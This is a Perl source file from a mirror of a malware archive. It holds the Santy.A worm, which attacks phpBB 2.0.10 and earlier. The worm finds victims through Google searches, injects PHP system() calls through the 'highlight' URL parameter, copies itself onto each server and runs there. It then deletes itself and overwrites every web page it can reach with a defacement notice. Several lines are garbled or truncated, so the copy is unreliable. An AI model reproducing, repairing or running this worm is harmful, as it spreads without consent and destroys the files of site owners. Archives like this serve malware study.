mirror of
https://github.com/vxunderground/MalwareSourceCode
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213 lines
4.3 KiB
C
213 lines
4.3 KiB
C
#
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# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
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# -SECU For educational purpose
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#
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# See : http://isc.sans.org/diary.php?date=2004-12-21
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# http://www.f-secure.com/v-descs/santy_a.shtml
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#
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use
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strict;
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use Socket;
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sub PayLoad();
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sub DoDir($);
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sub DoFile ($);
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sub GoGoogle();
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sub GrabURL($);
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sub str2chr($);
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eval{ fork and exit; };
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my $generation = x;
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PayLoad() if $generation > 3;
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open IN, $0 or exit;
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my $self = join '', <IN>;
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close IN;
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unlink $0;
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while(!GrabURL('http://www.google.com/advanced_search')) {
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if($generation > 3)
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{
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PayLoad() ;
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} else {
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exit;
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}
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}
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$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;
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my $selfFileName = 'm1ho2of';
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my $markStr = 'HYv9po4z3jjHWanN';
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my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
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my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';
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while(1) {
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exit if -e 'stop.it';
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OUTER: for my $url (GoGoogle()) {
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exit if -e 'stop.it';
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$url =~ s/&highlight=.*$//;
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$url .= $tryCode;
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my $r = GrabURL($url);
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next unless defined $r;
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next unless $r =~ /$markStr/;
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while($self =~ /(.{1,20})/gs) {
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my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
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' . str2chr($1) . '),exit%252e%2527';
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$url =~ s/&highlight=.*$//;
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$url .= $portion;
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next OUTER unless GrabURL($url);
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}
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my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
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$url =~ s/&highlight=.*$//;
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$url .= $syst;
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GrabURL($url);
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}
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}
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sub str2chr($) {
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my $s = shift;
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$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
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$s =~ s/%252e$//;
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return $s;
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}
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sub GoGoogle() {
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my @urls;
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my @ts = qw/t p topic/;
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my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
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q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
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'%22&btnG=Search';
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my $goo1st = GrabURL($startURL)
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fined $goo1st;
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my $allGoo = $goo1st;
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my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26
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alt="" border=0><br>\d+</a>';
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while($goo1st =~ m#$r#g) {
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$allGoo . = GrabURL('www.google.com' . $1);
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}
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while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
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my $u = $1;
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next if $u =~ m#http://.*http://#i; # no redirects
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push(@urls, $u);
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}
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return @urls;
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}
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sub GrabURL($) {
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my $url = shift;
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$url =~ s#^http://##i;
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my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
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return unless defined($host) && defined($res);
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my $r =
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"GET $resHTTP/1.0\015\012" .
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"Host: $host\015\012" .
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"Accept:*/*\015\012" .
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"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
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"Pragma: no-cache\015\012" .
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"Cache-Control: no-cache\015\012" .
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"Referer: http://" . $host . $res . "\015\012" .
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"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
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"Connection: close\015\012\015\012";
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my $port = 80;
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if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}
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my $internet_addr = inet_aton($host) or return;
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socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
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setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
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connect(Server, sockaddr_in($port, $internet_addr)) or return;
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select((select(Server), $| = 1)[0]);
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print Server $r;
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my $answer = join '', <Server>;
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close (Server);
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return $answer;
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}
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sub DoFile($) {
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my $s = q{
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<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
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<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
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<BODY bgcolor="#000000" text="#FF0000">
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<H1>This site is defaced!!!</H1>
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<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
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. $generation .q{.</b></ADDRESS>
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</BODY></HTML>
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};
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unlink $_[0];
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open OUT, ">$_[0]" or return;
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print OUT $s;
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close OUT;
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}
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sub DoDir($) {
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my $dir = $_[0];
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$dir .= '/' unless $dir =~ m#/$#;
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local *DIR;
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opendir DIR, $dir or return;
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for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {
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unless(-l $dir . $ent) {
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if(-d _) {
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DoDir($dir . $ent);
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next;
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}
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}
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if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
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or $ent =~ /\.phtm/i) {
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DoFile($dir . $ent);
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}
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}
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closedir DIR;
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}
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sub Pay Load() {
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my @dirs;
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eval{
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while(my @a = getpwent()) { push(@dirs, $a[7]);}
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};
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push(@dirs, '/ ');
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for my $l ('A' .. 'Z') {
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push(@d
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for my $d (@dirs) {
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DoDir($d);
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}
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}
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//milw0rm.com
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